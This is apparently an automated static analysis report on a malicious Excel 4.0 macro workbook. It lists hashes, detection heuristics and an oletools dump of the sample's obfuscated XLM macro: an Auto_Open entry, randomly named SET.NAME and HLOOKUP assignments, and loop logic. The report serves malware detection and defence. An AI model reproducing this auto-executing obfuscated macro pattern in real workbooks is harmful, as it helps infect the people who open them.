Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90d0cf345985f47c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:45 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 8e0383169165af4edc0e19752aa9517d SHA-1: 50be80da617417b8663de1360dd4ea26e7c99116 SHA-256: 90d0cf345985f47cd22f29acd59f0f7d22b04b65ce825ff3bee2ece29c9bd6fe
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6654 bytes
SHA-256: 7cded41104bada513d6650f7a2dc53a605e23e37454733977c86bfa0cc80d766
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jpY
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E147 
' 0018     22 LABEL : Cell Value, String Constant - dinPGIE len=0 
' 0018     25 LABEL : Cell Value, String Constant - djWXvznJko len=0 
' 0018     27 LABEL : Cell Value, String Constant - dWkjQYLNgGUB len=0 
' 0018     25 LABEL : Cell Value, String Constant - FlBnUCvrPh len=0 
' 0018     23 LABEL : Cell Value, String Constant - GvemlxCl len=0 
' 0018     25 LABEL : Cell Value, String Constant - HOdHOhDlRG len=0 
' 0018     25 LABEL : Cell Value, String Constant - HrKOkyYvFL len=0 
' 0018     20 LABEL : Cell Value, String Constant - HvlyJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - iLfdNpbNES len=0 
' 0018     25 LABEL : Cell Value, String Constant - iPTXQNGxZt len=0 
' 0018     25 LABEL : Cell Value, String Constant - IseZDCqlel len=0 
' 0018     27 LABEL : Cell Value, String Constant - pkLATOrSWYEt len=0 
' 0018     21 LABEL : Cell Value, String Constant - qiCCkI len=0 
' 0018     24 LABEL : Cell Value, String Constant - roWtPgicM len=0 
' 0018     22 LABEL : Cell Value, String Constant - Uactyel len=0 
' 0018     26 LABEL : Cell Value, String Constant - uWulCKIpwHs len=0 
' 0018     27 LABEL : Cell Value, String Constant - vrbWVyMgbwMV len=0 
' 0018     20 LABEL : Cell Value, String Constant - XGitB len=0 
' 0018     25 LABEL : Cell Value, String Constant - yguSPjtUWz len=0 
' 0018     27 LABEL : Cell Value, String Constant - YquhJLwgWqmD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jpY,E55,"SET.NAME("uWulCKIpwHs",0+VALUE("0"))",""
'  jpY,E58,"SET.NAME("djWXvznJko",uWulCKIpwHs)",""
'  jpY,Q58,"",168.00000000000000000000
'  jpY,Q59,"",936.00000000000000000000
'  jpY,E60,"SET.NAME("roWtPgicM",uWulCKIpwHs)",""
'  jpY,Q60,"",104.00000000000000000000
'  jpY,Q61,"",-11.00000000000000000000
'  jpY,Q62,"",-834.00000000000000000000
'  jpY,Q63,"",-358.00000000000000000000
'  jpY,E64,"SET.NAME("pkLATOrSWYEt",COUNTA(iLfdNpbNES))",""
'  jpY,E68,"SET.NAME("Uactyel",COUNTA(IseZDCqlel))",""
'  jpY,E70,[],""
'  jpY,E75,"SET.NAME("FlBnUCvrPh","")",""
'  jpY,E77,"djWXvznJko",""
'  jpY,E82,"SET.NAME("YquhJLwgWqmD",HLOOKUP("*",iLfdNpbNES,djWXvznJko,FALSE))",""
'  jpY,E84,"dWkjQYLNgGUB",""
'  jpY,E87,"SET.NAME("GvemlxCl",uWulCKIpwHs)",""
'  jpY,E92,[],""
'  jpY,E96,"GvemlxCl",""
'  jpY,E99,"HrKOkyYvFL",""
'  jpY,E103,"vrbWVyMgbwMV",""
'  jpY,E107,"dinPGIE",""
'  jpY,E112,"SET.NAME("XGitB",VALUE(HLOOKUP("*",IseZDCqlel,dinPGIE,FALSE)))",""
'  jpY,E114,"iPTXQNGxZt",""
'  jpY,E117,"FlBnUCvrPh",""
'  jpY,E122,"roWtPgicM",""
'  jpY,E124,NEXT(),""
'  jpY,E128,"HvlyJ",""
'  jpY,E133,[],""
'  jpY,E136,"yguSPjtUWz",""
'  jpY,E141,NEXT(),""
'  jpY,E143,RETURN(),""
'  jpY,E177,"SET.NAME("HOdHOhDlRG",E55)",""
'  jpY,E182,"iLfdNpbNES",""
'  jpY,E184,"SET.NAME("IseZDCqlel",R58C15)",""
'  jpY,E186,"SET.NAME("yguSPjtUWz",194)",""
'  jpY,E190,"SET.NAME("qiCCkI",5)",""
'  jpY,E193,HOdHOhDlRG(),""
'  jpY,E194,HALT(),""

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